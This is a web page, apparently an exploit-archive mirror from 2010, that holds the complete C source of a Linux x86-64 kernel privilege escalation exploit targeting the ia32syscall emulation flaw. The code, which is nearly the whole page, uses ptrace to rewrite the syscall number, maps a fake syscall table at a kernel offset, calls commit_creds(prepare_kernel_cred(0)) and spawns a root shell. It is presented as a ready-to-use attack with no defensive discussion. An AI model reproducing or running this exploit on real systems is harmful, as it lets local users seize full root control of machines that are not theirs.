Home / os / win7

Linux/x86-64 Kernel ia32syscall Emulation Privilege Escalati

Posted on 16 September 2010

<!DOCTYPE HTML PUBLIC '-//W3C//DTD HTML 4.01 Transitional//EN'><html><head><meta http-equiv='Content-Type' content='text/html; charset=windows-1251'><title>Linux/x86-64 Kernel ia32syscall Emulation Privilege Escalation</title><link rel='shortcut icon' href='/favicon.ico' type='image/x-icon'><link rel='alternate' type='application/rss+xml' title='Inj3ct0r RSS' href='/rss'></head><body><pre>============================================================== Linux/x86-64 Kernel ia32syscall Emulation Privilege Escalation ============================================================== /* * exploit for x86_64 linux kernel ia32syscall emulation (again) * rediscovered by ben hawkes * with help from robert swiecki and tavis ormandy * * original vulnerability discovered by Wojciech Purczynski * * original exploit by * Robert Swiecki &lt;robert_at_swiecki.net&gt; * Przemyslaw Frasunek &lt;venglin_at_freebsd.lublin.pl&gt; * Pawel Pisarczyk &lt;pawel_at_immos.com.pl&gt; * * kernel priv escalation code borrowed from spender * */ #include &lt;sys/types.h&gt; #include &lt;sys/wait.h&gt; #include &lt;sys/ptrace.h&gt; #include &lt;inttypes.h&gt; #include &lt;sys/reg.h&gt; #include &lt;unistd.h&gt; #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;sys/mman.h&gt; #include &lt;string.h&gt; typedef int __attribute__((regparm(3))) (* _commit_creds)(unsigned long cred); typedef unsigned long __attribute__((regparm(3))) (* _prepare_kernel_cred)(unsigned long cred); _commit_creds commit_creds; _prepare_kernel_cred prepare_kernel_cred; int kernelmodecode(void *file, void *vma) { commit_creds(prepare_kernel_cred(0)); return -1; } unsigned long get_symbol(char *name) { FILE *f; unsigned long addr; char dummy; char sname[512]; int ret = 0, oldstyle = 0; f = fopen(&quot;/proc/kallsyms&quot;, &quot;r&quot;); if (f == NULL) { f = fopen(&quot;/proc/ksyms&quot;, &quot;r&quot;); if (f == NULL) return 0; oldstyle = 1; } while (ret != EOF) { if (!oldstyle) { ret = fscanf(f, &quot;%p %c %s &quot;, (void **) &amp;addr, &amp;dummy, sname); } else { ret = fscanf(f, &quot;%p %s &quot;, (void **) &amp;addr, sname); if (ret == 2) { char *p; if (strstr(sname, &quot;_O/&quot;) || strstr(sname, &quot;_S.&quot;)) { continue; } p = strrchr(sname, '_'); if (p &gt; ((char *) sname + 5) &amp;&amp; !strncmp(p - 3, &quot;smp&quot;, 3)) { p = p - 4; while (p &gt; (char *)sname &amp;&amp; *(p - 1) == '_') { p--; } *p = ''; } } } if (ret == 0) { fscanf(f, &quot;%s &quot;, sname); continue; } if (!strcmp(name, sname)) { printf(&quot;resolved symbol %s to %p &quot;, name, (void *) addr); fclose(f); return addr; } } fclose(f); return 0; } static void docall(uint64_t *ptr, uint64_t size) { commit_creds = (_commit_creds) get_symbol(&quot;commit_creds&quot;); if (!commit_creds) { printf(&quot;symbol table not available, aborting! &quot;); exit(1); } prepare_kernel_cred = (_prepare_kernel_cred) get_symbol(&quot;prepare_kernel_cred&quot;); if (!prepare_kernel_cred) { printf(&quot;symbol table not available, aborting! &quot;); exit(1); } uint64_t tmp = ((uint64_t)ptr &amp; ~0x00000000000FFF); printf(&quot;mapping at %lx &quot;, tmp); if (mmap((void*)tmp, size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_PRIVATE|MAP_FIXED|MAP_ANONYMOUS, -1, 0) == MAP_FAILED) { printf(&quot;mmap fault &quot;); exit(1); } for (; (uint64_t) ptr &lt; (tmp + size); ptr++) *ptr = (uint64_t)kernelmodecode; __asm__(&quot; &quot; &quot; movq $0x101, %rax &quot; &quot; int $0x80 &quot;); printf(&quot;UID %d, EUID:%d GID:%d, EGID:%d &quot;, getuid(), geteuid(), getgid(), getegid()); execl(&quot;/bin/sh&quot;, &quot;bin/sh&quot;, NULL); printf(&quot;no /bin/sh ?? &quot;); exit(0); } int main(int argc, char **argv) { int pid, status, set = 0; uint64_t rax; uint64_t kern_s = 0xffffffff80000000; uint64_t kern_e = 0xffffffff84000000; uint64_t off = 0x0000000800000101 * 8; if (argc == 4) { docall((uint64_t*)(kern_s + off), kern_e - kern_s); exit(0); } if ((pid = fork()) == 0) { ptrace(PTRACE_TRACEME, 0, 0, 0); execl(argv[0], argv[0], &quot;2&quot;, &quot;3&quot;, &quot;4&quot;, NULL); perror(&quot;exec fault&quot;); exit(1); } if (pid == -1) { printf(&quot;fork fault &quot;); exit(1); } for (;;) { if (wait(&amp;status) != pid) continue; if (WIFEXITED(status)) { printf(&quot;Process finished &quot;); break; } if (!WIFSTOPPED(status)) continue; if (WSTOPSIG(status) != SIGTRAP) { printf(&quot;Process received signal: %d &quot;, WSTOPSIG(status)); break; } rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); if (rax == 0x000000000101) { if (ptrace(PTRACE_POKEUSER, pid, 8*ORIG_RAX, off/8) == -1) { printf(&quot;PTRACE_POKEUSER fault &quot;); exit(1); } set = 1; //rax = ptrace(PTRACE_PEEKUSER, pid, 8*ORIG_RAX, 0); } if ((rax == 11) &amp;&amp; set) { ptrace(PTRACE_DETACH, pid, 0, 0); for(;;) sleep(10000); } if (ptrace(PTRACE_SYSCALL, pid, 1, 0) == -1) { printf(&quot;PTRACE_SYSCALL fault &quot;); exit(1); } } return 0; } # <a href='http://inj3ct0r.com/'>Inj3ct0r.com</a> [2010-09-16]</pre><script type='text/javascript'>var gaJsHost = (("https:" == document.location.protocol) ? "https://ssl." : "http://www.");document.write(unescape("%3Cscript src='" + gaJsHost + "google-analytics.com/ga.js' type='text/javascript'%3E%3C/script%3E"));</script><script type='text/javascript'>try{var pageTracker = _gat._getTracker("UA-12725838-1");pageTracker._setDomainName("none");pageTracker._setAllowLinker(true);pageTracker._trackPageview();}catch(err){}</script></body></html>

 

TOP